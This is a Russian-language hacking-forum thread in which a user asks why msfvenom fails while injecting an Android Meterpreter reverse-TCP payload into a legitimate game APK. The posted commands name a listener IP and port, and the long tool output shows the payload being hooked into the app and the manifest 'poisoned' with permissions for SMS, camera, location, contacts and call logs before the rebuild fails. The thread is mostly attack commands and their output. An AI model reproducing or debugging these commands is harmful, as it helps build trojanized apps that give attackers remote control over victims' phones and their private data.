• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

msfvenom

Ananac

Member
30.06.2020
24
0
BIT
0
Здравствуйте. При выполнении команты
msfvenom -x /home/kali/Документы/<имя апк>.apk -p android/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4444 -o /home/kali/Документы/test.apk

Вылазит ошибка:
Код:
[-] No platform was selected, choosing Msf::Module::platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: Malformed version number string 2.4.1-dirty
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Когда запускаю от sudo, то вылазит такая ошибка:
Код:
W: aapt: brut.common.BrutException: brut.common.BrutException: Could not extract resource: /prebuilt/linux/aapt_64 (defaulting to $PATH binary)
W: First type is not attr!
W: A/        ( 1297): First type is not attr!
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 134): [aapt, p, --min-sdk-version, 16, --target-sdk-version, 29, --version-code, 229, --version-name, 1.4.81, --no-version-vectors, -F, /tmp/APKTOOL4807212153932705242.tmp, -0, resources.arsc, -0, png, -0, ogg, -0, mp3, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/d20201020-1085-eob8cl/original/res, -M, /tmp/d20201020-1085-eob8cl/original/AndroidManifest.xml]
Error: Unable to rebuild apk with apktool
Помогите, пж
 

Ananac

Member
30.06.2020
24
0
BIT
0

Ananac

Member
30.06.2020
24
0
BIT
0
Покажи результат выполнения команды из моего линка.
Если от обычного пользователя, то:
Код:
kali@Unknown:~/Документы$ msfvenom --payload android/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4444 --platform android --arch dalvik --template pou.apk --keep --out test.apk
Using APK template: pou.apk
Error: Malformed version number string 2.3.1
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

Если с sudo, то:
kali@Unknown:~/Документы$ sudo msfvenom --payload android/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4444 --platform android --arch dalvik --template pou.apk --keep --out test.apk
Using APK template: pou.apk
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package me.pou.app.jwmqn
[*] Loading /tmp/d20201021-1598-1hruwrc/original/smali/androidx/multidex/MultiDexApplication.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.CAMERA"/>
[*] Adding <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.CALL_PHONE"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.READ_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20201021-1598-1hruwrc/output.apk
[-] I: Using Apktool 2.3.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
W: /tmp/d20201021-1598-1hruwrc/original/res/layout-v26/abc_screen_toolbar.xml:5: error: No resource identifier found for attribute 'keyboardNavigationCluster' in package 'android'
W:
Exception in thread "main" brut.androlib.AndrolibException: brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [/tmp/brut_util_Jar_13678741995948896831.tmp, p, --forced-package-id, 127, --min-sdk-version, 16, --target-sdk-version, 29, --version-code, 229, --version-name, 1.4.81, --no-version-vectors, -F, /tmp/APKTOOL11962430758360945290.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/d20201021-1598-1hruwrc/original/res, -M, /tmp/d20201021-1598-1hruwrc/original/AndroidManifest.xml]
        at brut.androlib.Androlib.buildResourcesFull(Androlib.java:492)
        at brut.androlib.Androlib.buildResources(Androlib.java:426)
        at brut.androlib.Androlib.build(Androlib.java:305)
        at brut.androlib.Androlib.build(Androlib.java:270)
        at brut.apktool.Main.cmdBuild(Main.java:227)
        at brut.apktool.Main.main(Main.java:75)
Caused by: brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [/tmp/brut_util_Jar_13678741995948896831.tmp, p, --forced-package-id, 127, --min-sdk-version, 16, --target-sdk-version, 29, --version-code, 229, --version-name, 1.4.81, --no-version-vectors, -F, /tmp/APKTOOL11962430758360945290.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/d20201021-1598-1hruwrc/original/res, -M, /tmp/d20201021-1598-1hruwrc/original/AndroidManifest.xml]
        at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:456)
        at brut.androlib.Androlib.buildResourcesFull(Androlib.java:478)
        ... 5 more
Caused by: brut.common.BrutException: could not exec (exit code = 1): [/tmp/brut_util_Jar_13678741995948896831.tmp, p, --forced-package-id, 127, --min-sdk-version, 16, --target-sdk-version, 29, --version-code, 229, --version-name, 1.4.81, --no-version-vectors, -F, /tmp/APKTOOL11962430758360945290.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/d20201021-1598-1hruwrc/original/res, -M, /tmp/d20201021-1598-1hruwrc/original/AndroidManifest.xml]
        at brut.util.OS.exec(OS.java:95)
        at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:450)
        ... 6 more
Error: Unable to rebuild apk with apktool
 

Pernat1y

Well-known member
05.04.2018
1 443
135
BIT
0
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!